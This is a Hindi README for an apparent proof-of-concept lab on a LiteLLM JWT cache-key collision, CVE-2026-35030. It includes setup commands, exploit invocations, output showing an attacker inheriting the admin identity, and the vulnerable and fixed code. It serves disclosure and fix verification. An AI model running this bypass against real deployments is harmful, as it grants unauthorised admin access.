# कमजोर कोड (पूर्व-1.83.0)
cache_key = token[:20]   # केवल पहले 20 अक्षर!

<header>.<payload>.<signature>

1. व्यवस्थापक प्रमाणित करता है → LiteLLM userinfo प्राप्त करता है → कुंजी के साथ कैश करता है = token[:20]
                                                                    ↑
2. हमलावर समान एल्गोरिदम (RS256) के साथ JWT बनाता है ───────────┘
   → token[:20] समान है → कैश हिट → व्यवस्थापक की पहचान प्राप्त करता है

# 1. कमजोर LiteLLM + नकली OIDC प्रदाता बनाएं और शुरू करें
docker compose up -d --build

# 2. Python निर्भरताएँ स्थापित करें
pip install -r requirements.txt

# 3. परीक्षण उपयोगकर्ता बनाएं (JWT प्रमाणीकरण के लिए आवश्यक — मास्टर कुंजी चाहिए)
curl -s -X POST http://localhost:4000/user/new \
  -H "Authorization: Bearer sk-litellm-master-key" \
  -H "Content-Type: application/json" \
  -d '{"user_id": "admin", "role": "proxy_admin"}'
curl -s -X POST http://localhost:4000/user/new \
  -H "Authorization: Bearer sk-litellm-master-key" \
  -H "Content-Type: application/json" \
  -d '{"user_id": "attacker", "role": "proxy_admin"}'

# 4. कैश कुंजी टकराव प्रदर्शित करें
python3 exploit/exploit.py --mode demo

# 5. पूर्ण शोषण चलाएं (कैश टकराव के माध्यम से प्रमाणीकरण बाइपास)
python3 exploit/exploit.py --mode exploit --target http://localhost:4000

# 6. (वैकल्पिक) सत्यापित करें कि v1.83.0+ में यह ठीक किया गया है
docker compose --profile fixed up -d --build litellm-fixed
python3 exploit/exploit.py --mode exploit --target http://localhost:4001 --fixed

[+] व्यवस्थापक JWT (विषय=admin):
    टोकन:     eyJhbGciOiJSUzI1NiIsImtpZCI6Im1vY2stb2lkYy1rZXktMDAxIiwidHlw...
    उपसर्ग:    'eyJhbGciOiJSUzI1NiIs'

[+] हमलावर JWT (विषय=attacker):
    टोकन:     eyJhbGciOiJSUzI1NiIsImtpZCI6Im1vY2stb2lkYy1rZXktMDAxIiwidHlw...
    उपसर्ग:    'eyJhbGciOiJSUzI1NiIs'

[🔥] टकराव: दोनों टोकन के पहले 20 वर्ण समान हैं!
    कारण: दोनों टोकन RS256 हस्ताक्षर का उपयोग करते हैं → समान JWT हेडर base64 → समान पहले 20 वर्ण
    → cache_key = token[:20] = 'eyJhbGciOiJSUzI1NiIs'

[कमजोर] शोषण प्रयास — लक्ष्य: http://localhost:4000

[*] चरण 1: OIDC प्रदाता से JWT प्राप्त करना...
    उपसर्ग टकराव: हाँ

[*] चरण 2: व्यवस्थापक JWT को LiteLLM पर भेजना (OIDC कैश भरता है)...
    HTTP 200
    प्रतिक्रिया: {"user_id": "admin", ...}

[*] चरण 3: हमलावर JWT भेजना (कैश टकराव का प्रयास)...
    HTTP 200
    प्रतिक्रिया: {"user_id": "admin", ...}   ← व्यवस्थापक विरासत में मिला!

[🔥] शोषण सफल! हमलावर ने व्यवस्थापक की पहचान प्राप्त कर ली!
        हमलावर के token[:20] व्यवस्थापक की कैश कुंजी से मेल खाते हैं।
        प्रतिक्रिया user_id='admin' (वृद्धि के लिए 'admin' अपेक्षित)

[ठीक किया गया] शोषण प्रयास — लक्ष्य: http://localhost:4001

[*] चरण 1: OIDC प्रदाता से JWT प्राप्त करना...
    उपसर्ग टकराव: हाँ

[*] चरण 2: व्यवस्थापक JWT को LiteLLM पर भेजना (OIDC कैश भरता है)...
    HTTP 200
    प्रतिक्रिया: {"user_id": "admin", ...}

[*] चरण 3: हमलावर JWT भेजना (कैश टकराव का प्रयास)...
    HTTP 200
    प्रतिक्रिया: {"user_id": "attacker", ...}   ← अपनी पहचान संरक्षित

    [+] हमलावर user_id='attacker' के रूप में पहचाना गया।
        फिक्स किया गया संस्करण: कैश टकराव रोका गया।

# कमजोर (पूर्व-1.83.0) — litellm/proxy/auth/handle_jwt.py
cache_key = f"oidc_userinfo_{token[:20]}"   # केवल पहले 20 अक्षर!
cached_userinfo = await user_api_key_cache.async_get_cache(cache_key)
if cached_userinfo is not None:
    return cached_userinfo  # कैश हिट → userinfo प्राप्त करना छोड़ें!

# फिक्स (v1.83.0+) — वही फ़ाइल, पंक्ति 625
import hashlib
cache_key = f"oidc_userinfo_{hashlib.sha256(token.encode()).hexdigest()}"

CVE-2026-35030/
├── README.md                    # यह फ़ाइल
├── docker-compose.yml           # कमजोर + फिक्स किया गया LiteLLM + नकली OIDC
├── litellm_config.yaml          # JWT प्रमाणीकरण सक्षम के साथ LiteLLM कॉन्फ़िगरेशन
├── requirements.txt             # Python निर्भरताएँ (PoC)
├── litellm-vuln/
│   └── Dockerfile               # एंटरप्राइज़ पैच के साथ कमजोर LiteLLM v1.82.5
├── litellm-fixed/
│   └── Dockerfile               # sha256 कैश कुंजी के साथ फिक्स किया गया LiteLLM v1.83.0+
├── oidc-provider/
│   ├── Dockerfile               # नकली OIDC प्रदाता इमेज
│   ├── requirements.txt
│   └── server.py                # OIDC नकली (FastAPI)
├── exploit/
│   ├── exploit.py               # मुख्य PoC शोषण स्क्रिप्ट
│   └── token_forge.py           # JWT टकराव उपयोगिताएँ
├── docs/
│   └── advisory.md              # सलाहकार संदर्भ
└── screenshots/
    └── README.md                # प्रूफ स्क्रीनशॉट प्लेसहोल्डर